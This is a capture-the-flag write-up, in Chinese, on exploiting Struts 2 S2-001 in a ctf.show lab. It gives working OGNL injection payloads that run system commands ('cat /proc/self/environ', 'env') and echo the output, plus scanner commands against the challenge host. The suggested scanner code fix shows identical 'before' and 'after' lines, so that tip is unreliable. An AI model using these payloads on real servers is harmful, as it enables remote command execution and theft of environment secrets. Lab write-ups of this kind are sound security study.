点击链接跳转后,在URL发现 S2-001 ,搜了一下发现是 Struts 2 漏洞

    漏洞影响范围
    WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

    漏洞验证

    1. %{1+1}

    image.png
    如果直接 POST 发包注意 URL编码一下

    命令执行

    1. %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/proc/self/environ"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

    注意执行命令时,命令的参数往数组加元素即可,而不是在一个数组元素里 ls /

    flag 在 env 里

    1. %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

    image.png

    参考链接
    https://xz.aliyun.com/t/2044

    漏洞利用工具
    https://github.com/HatBoy/Struts2-Scan/
    使用方式
    检测漏洞存在性

    1. python3 Struts2Scan.py -u http://c56840a6-a7a3-4b67-ab06-f786d1bbed1c.challenge.ctf.show:8080/S2-001/login.actio

    漏洞利用

    1. python3 Struts2Scan.py -u http://c56840a6-a7a3-4b67-ab06-f786d1bbed1c.challenge.ctf.show:8080/S2-001/login.action -n S2-001 --exec

    这里有个小坑,想进交互模式需要改一下代码,

    1. # 大概在 Struts2Scan.py 1707行
    2. if name not in s2_list
    3. # 改为
    4. if name not in s2_list

    不然利用进入交互模式会报错

    1. python3 Struts2Scan.py -u http://c56840a6-a7a3-4b67-ab06-f786d1bbed1c.challenge.ctf.show:8080/S2-001/login.action -n S2-001 --exec
    2. [ERROR] 暂不支持S2_001漏洞利用